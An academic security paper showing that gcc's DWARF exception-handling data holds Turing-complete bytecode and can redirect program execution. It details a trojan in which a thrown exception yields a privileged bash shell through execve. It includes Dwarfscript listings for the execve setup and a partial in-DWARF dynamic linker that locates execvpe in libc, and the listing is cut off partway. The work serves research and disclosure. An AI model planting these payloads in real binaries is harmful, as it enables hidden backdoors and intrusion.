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Abstract

The study of vulnerabilities and exploitation is one of
finding mechanisms affecting the flow of computation
and of finding new means to perform unexpected com-
putation. In this paper we show the extent to which ex-
ception handling mechanisms as implemented and used
by gcc can be used to control program execution. We
show that the data structures used to store exception han-
dling information on UNIX-like systems actually contain
Turing-complete bytecode, which is executed by a vir-
tual machine during the course of exception unwinding
and handling. We discuss how a malicious attacker could
gain control over these structures and how such an at-
tacker could utilize them once control has been achieved.

1 Introduction

Historically, exploitation mostly focused on the “main”
computation performed by the code of the target program
and the libraries loaded into its process context (for the
sake of the argument, let us define this computation as
the flow described by the target program’s call graph).
In ELF1 terms, it was the contents of .text sections of
executable and shared object files that received the most
attention, such as being scanned for vulnerabilities, tro-
jan logic, or “gadgets” to aid exploits.

However, a typical ELF process context is also con-
structed and maintained by a number of what we would
call auxiliary computations, driven by data and/or code
from other, non-.text ELF sections. These computa-
tions handle the special stages of the target process’ life-
cycle, from creation and initization, loading and reloca-
tion, to dynamic loading and linking of required libraries
and library functions, to exception handling (the focus of
this paper), process dismantling, and so on.

Whereas many of these auxiliary computations seem

1Executable and Linking Format [29]

trivial, there are well-known exploit techniques related
to some of them (e.g. .ctors and .dtors [24, 15]).
More complex auxiliary computation subsystems, such
as those responsible for dynamic linking, present much
richer targets [6, 28, 19], allowing for advanced tech-
niques that co-opt the entire subsystem’s functionality,
such as the pioneering PaX non-executable memory em-
ulation and address load randomization bypass tech-
niques co-opting the dynamic linker [18]. The history
of exploitation of auxiliary computation is discussed at
greater length in Section 6.2.

Exploitation uses of auxiliary computations are facets
of a single general phenomenon, that of programming the
automata responsible for these computations. ELF sec-
tions are interpreted by their respective automata, and,
when filled with crafted “program”, can leverage the au-
tomaton’s computational power to accomplish a lot more
than intended by their original designers and program-
mers without breaking any semantics of the automaton’s
interpretation of its input. The crafted program is abus-
ing any flexibility that designers put into the automaton.

In this paper we demonstrate the use of the DWARF-
based exception handling mechanism, likely the most
powerful of these auxiliary computation mechanisms, to
host a Turing-complete computation and gain control of
the execution of the main program. This type of ex-
ception handling is relevant to gcc or LLVM compiled
languages utilizing exception-handling (most commonly
C++) on most UNIX and Unix-like systems including
Linux, BSD, Solaris, Darwin, and Cygwin.

2 Contributions

We present a further step in the direction of utilizing
the “auxiliary computations” to accomplish potentially
malicious goals. We show arguably the most power-
ful (Turing-complete by inspection) ubiquitous auxil-
iary environment to date, the DWARF exception han-
dling mechanism, which comes with every modern gcc-
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compiled exception-aware executable or shared object
file. In particular, we program it by way of provid-
ing it with crafted contents of the .eh frame and
.gcc except table.

We show that the DWARF mechanism, originally
meant to flexibly and extensibly accommodate present
and future stack unwinding and saved register restoration
logic, should be understood as powerful bytecode that
allows execution of generic computations that, among
other things, can read the main process memory, and in
doing so make full use of the target’s dynamic symbol
information.

Moreover, the bytecode is in fact very efficient at
representing such symbolic memory operations and al-
lows us to pack much functionality into short snippets of
bytecode. For example, we can package our own self-
contained dynamic linker into less than 200 bytes.

We note that this mechanism has the following prop-
erties.

1. It involves no native executable binary code, and
therefore is relatively portable between systems us-
ing the same or binary compatible versions of the
standard exception handling libraries.

2. For the same reason, it is unlikely to be checked by
any current signature-based HIDS systems2.

3. It is ubiquitous, since it occurs wherever gcc-
compiled C/C++ code or other exception-throwing
code is supported.

4. It bypasses ASLR through memory access and com-
putation.

5. If combined with an appropriate memory corruption
bug, DWARF bytecode can be used as an exploit
payload.

6. Once control is given to the crafted DWARF “pro-
gram” as a result of an exception, any values can be
prepared, and any computation can be done entirely
from the DWARF virtual machine itself. This con-
trasts starkly with instruction-borrowing techniques
such as return-oriented programming (ROP).

We modified Katana, an existing academic ELF-
manipulation tool to allow us to demonstrate the tech-
niques we discuss.

2 As most antivirus systems are commercial and closed-source, we
cannot make any definitive claims. Certain antivirus suites, including
F-Prot, will match against the .text section of known malware if it is
inserted into any program, but will not match if the same data is inserted
into the .eh frame section, providing circumstantial evidence for our
claim

3 Technical Background

In order to understand how the exception-handling pro-
cess may be controlled to engineer an exploit, it is neces-
sary to understand how the C++ exception handling pro-
cess as implemented by gcc, and as partially standard-
ized by the Linux Standards Base [1] and the x86 64 ABI
[17], works.

3.1 Environment
All technical details are discussed with regards to C++,
gcc, and Linux, and with specific attention paid to the
x86 64 architecture. The concepts (and most of the
details) apply equally well to other processor architec-
tures and other operating systems (excluding Windows).
The Clang C++ compiler is known to be (nearly) fully
binary compatible with gcc, including largely undoc-
umented gcc language/implementation-specific excep-
tion handler tables, as can be seen in the LLVM source
[14]. Furthermore, the exception-handling data formats
and processes are not C++-specific and are applicable to
other gcc-compiled languages supporting exceptions.

3.2 Call Frame Information
To handle an exception, the stack must be unwound. Ob-
viously, one may walk the call stack following return ad-
dress pointers to find all call frames. This is not suf-
ficient for restoring execution to an exception handler,
however, as this process does not respect register state.
It is therefore requisite that the information necessary to
restore registers at the time of an unexpected procedure
termination (when an exception is thrown from within
the procedure) be somehow present at the time of excep-
tion throwing/handling.

This is a problem already solved for debugging. Thus
the Call-Frame Information section of the DWARF3 stan-
dard [9] has been adopted with some minor differences
for encoding the unwinding information necessary for
exception handling [17, 1].

Conceptually, what this unwinding information de-
scribes is a large table. The rows of the table cor-
respond to machine instructions in the program text,
and the columns correspond to registers and Canonical
Frame Address (CFA). Each row describes how to re-
store the machine state (the values of the registers and
CFA) for every instruction at the previous call frame as
if control were to return up the stack from that instruc-
tion. DWARF allows for an arbitrary number of registers,
identified merely by number. It is up to individual ABIs
to define a mapping between DWARF register numbers
and the hardware registers. The DWARF registers are not
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required to map to actual hardware registers, but may be
used internally, as is often done with a DWARF register
for the return address.

Each cell of this table holds a rule detailing how the
contents of the register will be restored for the previous
call frame. DWARF allows for several types of rules, and
the curious reader is invited to find them in the DWARF
standard [9]. Most registers are restored either from an-
other register or from a memory location accessed at
some offset from the CFA. An example (not taken di-
rectly from a real program, but modeled after what may
be found) of a portion of this table is given in Figure 1.

PC (eip) CFA ebp ebx eax return addr.
0xf000f000 rsp+16 *(cfa-16) *(cfa-8)
0xf000f001 rsp+16 *(cfa-16) *(cfa-8)
0xf000f002 rbp+16 *(cfa-16) eax=edi *(cfa-8)

...
...

...
...

...
...

0xf000f00a rbp+16 *(cfa-16) *(cfa-24) eax=edi *(cfa-8)

Figure 1: Example of a Conceptual Unwinding Table

We note that this table, if constructed in its entirety,
would be absurdly large, larger than the text of the pro-
gram itself. There are many empty cells and many du-
plicated entries in columns. Much of the DWARF call
frame information standard is essentially a compression
technique, allowing to provide sufficient information at
runtime to build parts of the table as needed without the
full, prohibitively large, table ever being built or stored.

This compression is performed by introducing the
concept of Frame Description Entities (FDEs) and
DWARF instructions. An FDE corresponds to a logi-
cal block of program text and describes how unwinding
may be done from within that block. Each FDE contains
a series of DWARF instructions. Each instruction either
specifies one of the column rules (registers) as from our
table above or specifies which text locations the register
rules apply to. More details may be found in [9]

3.3 DWARF Expressions

As noted earlier, most of the register rules specify the
restoration of a register from another register or from
a location on the stack (relative to the CFA). DWARF
was not designed for any particular hardware or software
platform, however, and there was a very conscious effort
to be as flexible as possible. Therefore, DWARF version
3 introduced the concept of DWARF expressions, which
have their own set of instructions. A register may be re-
stored to the value computed by a DWARF expression.
A DWARF expression consists of one or more DWARF
expression operations (instructions). These operations
are evaluated on a stack-machine. Whereas the DWARF
standard does not specify the data format of stack items,

gcc implements them as architecture word-sized ob-
jects. All of the basic operations necessary for numerical
computation are provided: pushing constant values onto
the stack, arithmetic operations, bitwise operations, and
stack manipulation. In addition, DWARF expressions
provide instructions for dereferencing memory addresses
and obtaining the values held in registers (DWARF reg-
isters calculated as part of the unwind process so far,
not necessarily machine registers). This allows regis-
ters to be restored from memory locations and registers
with additional arithmetic applied. To truly allow reg-
ister restoration from arbitrarily computed values, how-
ever, DWARF expressions include conditional operations
and a conditional branch instruction. As DWARF expres-
sions allow for both arbitrary arithmetic and conditional
branching, we claim that they are Turing-complete.

Plainly, there is a mostly unseen machine capable of
arbitrary computation residing in the address space of
every gcc-compiled C++ program or program linking
C++ code. As an example, consider the DWARF expres-
sion given in Listing 1, which finds the length of a string
found just below the base of a stack frame. A complete
explanation of all of the instructions used can be found
in the DWARF standard [9].

Listing 1: DWARF strlen expression
# v a l u e a t −0x8(% rbp ) on s t a c k
DW OP breg6 −8
DW OP lit0 # i n i t i a l s t r l e n
DW OP swap
DW OP dup
LOOP:
DW OP dere f s ize 1
# b r an ch i f t o p o f s t a c k nonze ro
DW OP bra NOT DONE
DW OP skip FINISH
NOT DONE:
# i n c r e m e n t t h e c o u n t e d l e n g t h
DW OP swap
DW OP lit1
DW OP plus
DW OP swap
# add l e n g t h t o c h a r p o i n t e r
DW OP plus
DW OP skip LOOP
FINISH :
# f i n a l l y p u t t h e c h a r a c t e r
# c o u n t on t h e t o p o f t h e s t a c k
# as r e t u r n v a l u e
DW OP swap
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3.4 Exception Handlers

It is necessary to understand how exception handler
(catch blocks in C++ terminology) information is en-
coded. DWARF is designed as a debugging format,
where the debugger is in control of how far to unwind
the stack. DWARF therefore does not provide any mech-
anism to govern halting the unwinding process. What it
does provide is the means for augmentation to the stan-
dard. Certain DWARF data structures include an aug-
mentation string, the contents of which are implementa-
tion defined, allowing a DWARF producer to communi-
cate to a compatible DWARF consumer information not
controlled by the standard. The augmentations to be used
on Linux and x86 64 are well-defined [1, 17]. These aug-
mentations allow a language-specific data area (LSDA)
and personality routine to be associated with every FDE.
When unwinding an FDE, the exception handling pro-
cess is required to call the personality routine associ-
ated with the FDE. The personality routine interprets the
LSDA and determines if a handler for the exception has
been found. The actual contents of the LSDA are not de-
fined by any standard, and two separate compilation units
originally written in different languages and using differ-
ent LSDA formats may coexist in the same program, as
they will be served by separate personality routines.

The result of these design decisions is that the en-
coding of where exception handlers are located and
what type of exceptions they handle is mostly non-
standardized. The best known source of information on
the format used by gcc is the verbose assembly code
generated by gcc. There is some outdated high-level
information available from [11]. In an ELF binary, the
section .gcc except table contains the LSDAs. In
the environment we are concerned with, an LSDA breaks
the text region described by the corresponding FDE into
call sites. Each call site corresponds to code within a
try block (to use C++ terminology) and has a pointer to
a chain of C++ typeinfo descriptors. These objects are
used by the personality routine to determine whether the
thrown exception can be handled in the current frame. A
diagram of LSDA structure can be found in Appendix C.

3.5 Exception Process

The code path taken during the throwing of an exception
is shown in Figure 2. libgcc computes the machine state
as a result of the unwinding, directly restores the nec-
essary registers, and then returns into the handler code,
which is known as the landing pad. We note that, at least
in current (4.5.2) gcc implementations, this means that
at the time execution is first returned to the handler code,
the data from which the registers were restored will still
be present below the stack pointer until it is overwritten.

User Code throws

__cxa_allocate_exception
in libstdc++

__cxa_throw
in libstdc++

User Code 
 catch block

bookkeeping

handler body

bookkeeping

execution continues

__cxa_begin_catch
in libstdc++

__cxa_end_catch
in libstdc++

_Unwind_RaiseException
in libgcc

unwind one frame

call personality routine

if no handler, loop

return into handler

__gxx_personality_v0
in libstdc++

read language specific data

Figure 2: C++ Exception Code Flow

4 Our Tools

DWARF is chiefly the province of compiler and debug-
ger authors. There are several tools (in particular, read-
elf, objdump, and dwarfdump [2]) that allow one to ex-
amine the DWARF frame information contained within
an ELF binary. There are, however, no known tools
that allow manipulation of DWARF structures at a high
level. A high-level way of manipulating call frame and
exception handler information is essential to examining
the security implications of DWARF and demonstrating
the consequences of an adversary gaining control of this
information. To bridge this gap, we present Katana,
a tool for ELF and DWARF manipulation, and Dwarf-
script, a language for expressing call frame unwinding
information and the corresponding exception handler in-
formation. Katana as an ELF and DWARF manipula-
tion tool was first developed at Dartmouth College for
hotpatching research [4]. Katana provides an easy-to-
use tool in the spirit of the groundbreaking ERESI ELF-
manipulation framework [30] with a shell-like interface
capable of emitting the Dwarfscript representation of an
ELF binary. A user may modify the Dwarfscript and then
use Katana to assemble it into its binary form, which can
be reinserted into the executable by Katana. A grammar
for Dwarfscript may be found in the Katana distribution.

Dwarfscript is to binary exception handling data as
assembly is to machine code. Dwarfscript does not at-
tempt to provide any high-level abstractions over the ex-
ception handling data but rather attempts to present it in
a form faithful to its binary structure but allowing easy
readability and modification. It is a cross between a
data-description language (representing the CIE, FDE,
and LSDA structures in a textual form) and an assem-
bly language (representing DWARF instructions and ex-
pressions as an ASCII-based language). The lack of any
high-level constructs is deliberate. Dwarfscript allows
the manipulator direct control over the data structures
involved. The sample of a DWARF expression shown
in Listing 1 is a valid part of a Dwarfscript file. The
code for a dynamic linker in Dwarfscript can be found
in Appendix B. The ability to extract information from a
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binary executable, modify the information, and insert it
back into the binary is not a common one and it makes
Katana quite powerful for experimenting with binary-
level changes to a program.

5 Malicious DWARFs

What might an adversary be able to do with control of
the exception handling information? In the most naı̈ve
case even without complicated DWARF expressions we
could redirect the flow to skip a frame when unwinding
(if we know the size of the frame on the stack). One of
the simplest possible DWARF expressions allows us to
simply set a register to a constant address. Thus, using
this expression, we can redirect any function in our target
binary to “return” to any other function in our binary.
By manipulating .gcc except table we can ensure
that there is always a landing pad where we would like
it.

5.1 A Trojan

To demonstrate the power of controlling the exception
handling information, we discuss how the ELF binary for
a simple program can be modified to yield a shell when
an exception is thrown. Our example program merely
takes input from stdin and prints a canned response
based on the user input. If the program receives an input
string it is not expecting, it throws an exception. Whereas
this program is perhaps not very interesting, it certainly
does nothing that would be considered dangerous. An
examination of its symbol table reveals that it does not
link any of the exec family of functions.

We modify the ELF binary for this program in such
a way that it will yield a bash shell. An examination
of the modified binary will not show any differences in
the text or any other section that is interpreted as ma-
chine instructions or directly affects the linking of ma-
chine instructions. Especially, we do not modify the
sections .text, .plt, .got, .dtors, .dynamic,
which have long been known as reasonably easy ways to
insert backdoors. Modifications are made only to the fol-
lowing ELF sections: .eh frame, .eh frame hdr,
.gcc except table.

A dynamic linker is built as a DWARF expression that
locates the symbol execvpe in libc. An offset is added
to this address so that control will be transferred to spe-
cific suitable instructions within the function. This is
necessary because of the difficulty of controlling param-
eter passing on x86 64 as discussed in Section 7.1. The
specific point that control will be transferred to in the ver-
sion and build of libc targeted (Arch Linux glibc 2.13-1)
is shown in Listing 2.

Listing 2: Gadget in libc
mov %r12 ,% rdx
mov %rbx ,% r s i
mov %r14 ,% r d i
c a l l q a4eb0 <execve>

The FDE for the function in which the excep-
tion is thrown is modified so that one of the reg-
isters is set to the result of the dynamic-linking
DWARF expression. As seen in Listing 2, we set
up arguments and then call execve. The call we
want to effectively make is execve("/bin/bash",
"/bin/bash","-p",NULL,NULL). For alignment
reasons, gcc typically leaves extra padding space after
.gcc except table both in-memory and in the ELF
file. Therefore, we have a little extra room to insert some
data (which we will know the address of) after the ac-
tual LSDA data in .gcc except table. We there-
fore insert the data for these execve parameters here.
We then set up the appropriate registers in Dwarfscript as
shown in Listing 3. Obviously, all addresses are specific
to where the parameter data was inserted. The DWARF
register number of rbx on x86 64 is 3.

Listing 3: Dwarfscript execve argument setup
DW CFA val express ion r14
b e g i n EXPRESSION
# s e t t o a d d r e s s o f / b i n / bash
DW OP constu 0 x400f2c
end EXPRESSION
DW CFA val express ion r3
b e g i n EXPRESSION
# s e t t o a d d r e s s o f a d d r e s s o f s t r i n g
# a r r a y {” / b i n / bash ” ,”−p ” ,NULL}
DW OP constu 0 x400f3a
end EXPRESSION
DW CFA val express ion r12
b e g i n EXPRESSION
# s e t t o NULL p o i n t e r
DW OP constu 0
end EXPRESSION

There is one significant problem remaining to be
solved: we must somehow transfer execution to the
place in libc we picked. We can modify the LSDA data
in .gcc except table to control where libgcc/lib-
stdc++ thinks handlers are located, but we cannot triv-
ially pretend a handler exists in libc, since we do not even
know where the library will be loaded (assuming some
form of library load ASLR). The solution is to use a clas-
sic return-to-libc attack. We take advantage of the fact
that the values computed by DWARF will be temporarily
placed on the stack in order to be transferred to registers
immediately upon return to the handler. We therefore set
the stack pointer to just below the location of the com-
puted address in libc on the stack. This does introduce
a dependency on particular libgcc/libstdc++ versions for
the amount of stack space used in handling the exception
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to be known. One mitigation to this dependency would
be to use a DWARF expression to search a small area of
the stack for known values, which could be used to deter-
mine an offset. We set the stack pointer (DWARF register
7 on x86 64) to be a constant offset from the base pointer
(DWARF register 6) at the time the exception is thrown.
We then simply modify the landing pad in the LSDA to
point to a return instruction anywhere in the binary being
modified. libgcc will transfer control to that return in-
struction, which will return to libc, and the process will
become a shell.

5.2 Building a Dynamic Linker in DWARF
Given the general-purpose computational abilities of
DWARF expressions, it should not be startling that we
were able to build a dynamic linker in DWARF. The
construction of our dynamic linker shows the power of
DWARF and another way that address-space layout ran-
domization (ASLR) can be defeated. The only assump-
tions made are that the .dynamic section will not be
moved by the loader, and that the order in which shared
libraries are loaded will be the order in which they are
listed in .dynamic. This second assumption is not
crucial, and the dynamic linker code could easily have
been slightly expanded to search for the libc linkmap en-
try. It is important to note that our DWARF dynamic
linker does not simply call the standard linker in ld.so.
Our linker traverses the linkmap, hash-table, and chain
structures directly, and thus is not affected by any pro-
tections built into the standard linker, such as protec-
tion against calling dlsym from arbitrary locations. The
functionality and interfaces of a dynamic linker are well-
documented elsewhere [29, 13], and our DWARF imple-
mentation is not substantially different in functionality
except that it is done on a stack machine rather than a
register machine. The full DWARF code can be found in
Appendix B.

5.3 Combining with Traditional Exploits
What we have concretely demonstrated so far is a tro-
jan technique. What is actually necessary for the general
technique to succeed, however, is a means to insert the
necessary data into a program. In many cases it should
be possible to perform this insertion at runtime by using
traditional exploit mechanisms. The benefit comes if we
are able to use a data-injection exploit that is unable to
directly execute code to inject DWARF bytecode, which
will be executed when an exception is thrown. This tech-
nique aids in getting around non-executable stacks and
heaps and therefore presents an alternative or compan-
ion to return-oriented programming. In some situations
it may require less careful piecework construction than

ROP.
There are two primary ways in which the appropriate

data injection may be done. The first is directly writing
data into .eh frame or .gcc except table. There
are many C++ libraries in the wild with .eh frame
sections that are loaded read-write. Until 2002 all
.eh frame sections were read-write. In 2002 gcc
began emitting read-only .eh frame sections on
some platforms unless relocations were necessary for
.eh frame [10]. This meant that most PIC code (i.e. li-
braries) still required writable .eh frame. Modern ver-
sions of gcc are now capable of emitting .eh frame
sections that do not require relocation even in PIC code,
but on up-to-date Linux distributions it is still possible
to find libraries with writable .eh frame sections, no-
tably several distributions of the JVM. Some non-Linux
platforms have considerably fewer memory protections.
For example, we observed all .eh frame sections be-
ing mapped read-write on a 2009 OpenSolaris installa-
tion.

The second data injection method relies on exist-
ing exploitation techniques to find and overwrite mem-
ory. The location of .eh frame is identified by the
GNU EH FRAME program header. This value is currently
cached at runtime in writable memory and therefore may
be overwritten to point to potentially crafted data.

6 History and prior work

In this section we sketch the history of the native bi-
nary code’s changing role in exploit programming, from
straight shellcoding to “return-oriented” and other code-
borrowing techniques. We then describe the alternative
approaches that, unlike the latter, do not fragment the
semantics of the target’s code units but rather make use
of computations afforded by these units in their entirety,
in effect acting as “programs” for the automata imple-
mented by these units, not far from the implementor’s
original semantics.

For example, while ROP “gadgets” are selected from
the target’s loaded code — .text of a library, the target
process, or OS kernel — without any regard for the con-
taining unit’s semantics, other techniques such as [18]
or [26] use original developer-intended granularity com-
ponents of a loaded process image specifically for the
kind of computations they were meant to provide (al-
though not in the contexts they were meant for).

6.1 Exploitation at native binary code
granularity

Historically, the prevailing notions of computer system
exploitation tended to revolve around its platform’s na-
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tive binary code, at the granularity of single binary or
assembly instructions.

The hacker research community has long followed
the paradigm of approaching exploitation as a kind of
(macro) assembly programming [23, 8, 18, 22, 7] based
on co-opting the binary code of the target through its (ex-
ploitable) bugs such as memory corruptions [16].

Whereas other kinds of exploitable bugs such as inte-
ger overflows, escape character (mis)interpretation, Uni-
code parsing ambiguities, internal command language
injection (shell commands into CGI scripts, SQL injec-
tions, etc) are also recognized as valuable, the popular
judgment of technical supremacy is clearly given to ex-
ploits that deliver full programmatic control of the target.

This degree of control tended to circle back to the abil-
ity to execute the binary code of attacker’s choice. Fol-
lowing the introduction of early non-executable memory
countermeasures [21, 20], the focus of exploitation re-
search shifted from inserting this shellcode directly to
“borrowing” necessary executable code snippets from
the target’s own address space [27, 31], finally achiev-
ing academic recognition as a general, Turing-complete
technique through [25, 5, 12] and subsequent develop-
ments.

Still, the emphasis of this direction is on program-
ming with native binary code at instruction granularity,
whether injected or borrowed. In particular, successful
exploitation required knowledge of, access to, and build-
ing on long chains of exact binary or assembly snippets.
In contrast, if DWARF data can be injected, it can di-
rectly perform computation. Instead of a target program
being supplied with data to chain snippets of code found
in the original program, only the environment to throw
an exception must be found in the target program once
data injection is achieved.

6.2 Exploiting the auxiliary computations
Side-by-side with instruction-granular techniques, an-
other approach developed. It recognized that large units
of code already present in the target by the original soft-
ware engineering design could be used to perform com-
putations of interest to the attacker by merely manipulat-
ing the input data structures to these units.

This approach yielded rich results when applied to the
omnipresent standard code that performed the auxiliary
computations in the target process’ lifecycle. As those
computations necessary to create, load, link, debug, han-
dle exceptions, and finally dismantle a process got pro-
gressively more complicated with the progress of operat-
ing systems, compilers, and programming environments,
the subsystems that perfomed them got both more pow-
erful and better defined.

As a result, many of these subsystems, for example

the relocation subsystem and the exception handling sub-
system that is the subject of this paper, developed into
well-defined automata with the input data formats that
amounted to their own distinct sets of virtual instructions.

The functionality of these automata (which are parts
of the target’s code) can be borrowed not just as a matter
of opportunity or convenience orthogonal to their orig-
inal purpose, but rather in line with their original, in-
tended function. For example, the double-free [3] exploit
technique borrows the malloc’s heap block management
logic, but uses it as a generic memory overwrite primi-
tive, not to (mis)manage blocks; similarly, the “gadget”
pieces of the program borrowed by “return-oriented”
techniques are used just because they happen to contain
the needed assembly instructions and without regard to
their original purpose. On the contrary, PaX bypass tech-
niques (e.g., [18, 8]) co-opt the dynamic linker and other
logic that provides auxiliary computations for its origi-
nal functionality (e.g., resolving symbols). Locreate [26]
uses the ELF process context’s own relocation mecha-
nism as the unpacker, driving it with crafted relocation
sections. In effect, it treats the relocation subsystem as
a distinct memory-transforming automaton that happens
to be present in the target’s context, and drives the code
transformation with a crafted “program” for this automa-
ton.

7 Limitations and Workarounds

7.1 Registers and Parameter Passing
Not all machine registers may be restored during stack
unwinding. A hardware ABI defines the set of regis-
ters that are callee-saved and the set that are not guar-
anteed to be saved. The DWARF/unwinding implemen-
tation does not restore all of the registers in the latter set.
Some are used for passing information to the exception-
handler, and some are simply ignored (with precise de-
tails depending of course on the architecture). On archi-
tectures that pass parameters on the stack (e.g. x86), this
issue does not present a serious problem, but on architec-
tures that make greater use of registers (e.g. x86 64), it
is a greater problem, as it makes setting up registers as
parameters to the function where execution is resumed
more difficult. This difficulty can be mitigated by find-
ing an appropriate point within a function that takes data
from the stack, although this technique does introduce
additional complexity of finding a suitable landing pad.

7.2 No Side Effects
Through control of the stack and base pointers, a
DWARF program can to some degree control the con-
tents of the stack when execution is resumed. DWARF
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instructions/expressions do not, however, have the abil-
ity to directly modify memory or push anything onto the
stack. Therefore it can be difficult to make the code at
the landing pad access values on the stack that were cal-
culated by the DWARF expression. One workaround is
to exploit the fact that values computed for machine reg-
isters will still be in memory (at least until overwritten by
new stack frames), as they are computed in memory and
then transferred into the correct registers. The DWARF
program can set the stack or base pointer to point to the
correct region of memory.

7.3 DWARF Machine Implementation
Obviously, the implementation of the DWARF virtual
machine has some effect upon what sort of computations
can be performed. The current (gcc 4.5.2) implementa-
tion in libgcc allows the DWARF stack to grow only to
a size of 64 words [10]. The DWARF standard does not
specify the maximum size of the stack, and there does
not appear to be a reasoned process behind this number;
rather, this size appears to have been arbitrarily chosen
as a size that should be “large enough”. Although this
limit should be kept in mind when writing a DWARF
program, it does not seriously hamper the creation of in-
teresting DWARF programs. As discussed in Section 5.2,
a dynamic linker can be programmed in DWARF using
fewer than 20 words on the stack.

7.4 Limited .eh frame space
When modifying an ELF binary, we cannot count on the
presence of full relocation information as gcc/ld does
not by default emit relocatable ELF objects. Therefore,
we must be careful that DWARF programs and other
modifications to FDE, CIE, and LSDA structure do not
require expanding the size of .eh frame. This limita-
tion can be fairly easily overcome, however. gcc does
not attempt to perform any static analysis to determine
whether the call frame for a given function will ever be
unwound during exception handling. .eh frame will
even be generated for C compilation units despite the
fact that C does not support exception handling to allow
exceptions to propagate seamlessly across areas of code
that do not know how to deal with them. Human analysis
of the program being modified, however, should yield in-
sight into finding FDEs corresponding to functions that
will never need to be unwound. In Dwarfscript, these
FDEs can simply be removed to make more room.

8 Conclusion

We have demonstrated how the hitherto largely unex-
plored DWARF-format exception handling information

used on a wide-variety of UNIX and UNIX-like plat-
forms can be used to control the flow of execution. This
has several advantages over traditional backdoors and
over return-oriented-programming. Advantages of our
technique include the following.

• Turing-complete environment. DWARF expres-
sions can read registers and process memory and
perform arbitrary computations on them.

• Less likely to be detected by traditional executable-
content scanners.

• Built-in trigger mechanism (the attack can lie dor-
mant until an exception is thrown).

• Fewer carefully chained gadgets required in the tar-
get program than in return-oriented-programming.
Therefore, less analysis and time may be necessary
to develop an attack.

• Does not rely on bugs. Our DWARF programs
leverage existing mechanisms as an extension of
their intended purpose and rely not on implementa-
tion bugs and outright security holes but on intended
behavior and intended mechanisms.

We stress the security risks associated with powerful
computational environments added in unexpected places.
The DWARF subsystem is undoubtedly a sterling ex-
ample of extensible software engineering and introduces
conceptually graceful method of handling complex data
structures of previously unprecedented complexity. Yet
the power and complexity of its internals far exceed the
expectations of most developers and defenders. In par-
ticular, underestimating its power and complexity may
lead defenders to underestimate the risks posed by such
environments and to miss a number of possible attack
vectors.

Finally, we release Katana as a tool to painlessly cre-
ate and experiment with the sort of crafted DWARF pro-
grams we have discussed, so that interested researchers
can further explore the relevant attack surface.
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A Availability

Katana is available under the GNU General Public
License and may be found at http://katana.
nongnu.org/.

B Code
Note that the code below contains constants which are
dependent on the particular build of the software the
DWARF payload will be inserted into. This code is for
educational purposes rather than to be used as-is.

Listing 4: Dwarfscript for a Dynamic Linker
#below is the address where we will find the address of the
#linkmap. This is 8 more than the value of PLTGOT in .dynamic
DW_OP_constu 0x601218
DW_OP_deref #dereference above
#now on the top of the stack we have the address of the beginning of
#the link map. The important field in link_map for the moment is the
#l_next field, which we see on 64-bit is 24 bytes from the start of
#the structure. For the particular program we care about, libc will be
#the 6th entry in the linkmap chain. We can tell this by looking at
#its place in the NEEDED entries in .dynamic and adding two.
#If there was randomization we would just compare strings to match
#library name

#we want to do add 24 to the address and dereference 5 times to get to
#point to libc
DW_OP_lit5
#loop begins here
DW_OP_swap
DW_OP_lit24
DW_OP_plus
DW_OP_deref
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#now at the top of the stack is the value of l_next for the next
#linkmap entry
DW_OP_swap #now at the top of the stack is our loop counter
DW_OP_lit1
DW_OP_minus #decrement
DW_OP_dup #since bra will pop the top entry
DW_OP_bra -11 #8 1-byte instructions to top of loop plus 3 bytes for
#the bra itself
DW_OP_drop #get rid of the counter
#to actually find the symbol table of the program we need to look in
#its .dynamic section. We grab l_ld which is 16 bytes into the
#structure
#first we grab the address though because symbols aren’t always
#relocated, we may have to do that manually.
DW_OP_dup
DW_OP_deref
DW_OP_swap
DW_OP_lit16
DW_OP_plus
DW_OP_deref
#we care about DT_HASH, DT_STRTAB, and DT_SYMTAB for now we’ll be lazy
#and assume that these are at fixed positions in the dynamic
#section. This is a reasonable assumption since there is no reason for
#the ordering of entries .dynamic to change with any frequency. If we
#really want a general purpose trojan we can loop through everything
#and test
#l_dyn gives us the start of an array. DT_HASH is (in the libc.so.6 I
#am attacking) the 5th entry (counting from 0), DT_STRTAB the 7th and
#DT_SYMTAB the 8th. Each .dynamic entry is 16 bytes long with the
#value in the 2nd 8 bytes (see Elf64_Dyn in elf.h)
DW_OP_constu 136 #8*16+8
DW_OP_plus
DW_OP_dup
#stack is now:
#0. addr of DT_SYMTAB
#1. addr of DT_SYMTAB
#2. text base address
DW_OP_deref
DW_OP_swap
#stack is now:
#0. addr of DT_SYMTAB
#1. DT_SYMTAB value (address of the hash table)
#2. text base address
DW_OP_lit16
DW_OP_minus
DW_OP_dup
DW_OP_deref
DW_OP_swap
#stack is now:
#0.addr of DT_STRTAB
#1. DT_STRTAB value
#2. DT_SYMTAB value
#3. text base address
DW_OP_constu 32
DW_OP_minus
DW_OP_deref
#Stack is now
#0. DT_HASH value (address of hash table)
#1. DT_STRTAB value (address of strtab)
#2. DT_SYMTAB value (address of the symbol table)
#3. text base address
#now we get nBuckets and the pointers to buckets and chains
DW_OP_dup
DW_OP_deref_size 4 #observing libc hashtable to be 32-bit
#ok, we have nBuckets
DW_OP_swap
DW_OP_lit8
DW_OP_plus
DW_OP_dup
#ok, we have buckets
#Stack is now
#0. hashtable address + 8
#1. buckets address
#2. nBuckets
#3. DT_STRTAB value (address of strtab)
#4. DT_SYMTAB value (address of the symbol table)
#5. text base address
#the chains begin after the buckets
DW_OP_pick 2 #nBuckets
DW_OP_lit4
DW_OP_mul
DW_OP_plus
#Stack is now
#0. chains address
#1. buckets address
#2. nBuckets
#3. DT_STRTAB value (address of strtab)
#4. DT_SYMTAB value (address of the symbol table)
#5. text base address
#now we have to compute the symbol hash mod the number of buckets
#DW_OP_constu 7138204 #elf_hash("execl")
DW_OP_constu 216771845 #elf_hash("execvpe")
DW_OP_pick 3 #nBuckets
DW_OP_mod
#Stack is now
#0 bucket index
#1. chains address
#2. buckets address
#3. nBuckets
#4. DT_STRTAB value (address of strtab)
#5. DT_SYMTAB value (address of the symbol table)
#6. text base address
DW_OP_lit4
DW_OP_mul
#now we have an offset into the hash table
DW_OP_pick 2 #buckets address
DW_OP_plus

#now we have the address of a symbol index
DW_OP_deref_size 4 #now we have a symbol index
DW_OP_dup
#####chain loop begins here
CHAIN:
#0 sym idx
#1. sym idx
#2. chains address
#3. buckets address
#4. nBuckets
#5. DT_STRTAB value (address of strtab)
#6. DW_SYMTAB value (address of the symbol table)
#7. text base address
DW_OP_constu 24 #24 bytes in a dynamic symbol in libc. We could read
#this from DT_SYMENT. I’m not sure why dynamic symbols
#are a different size
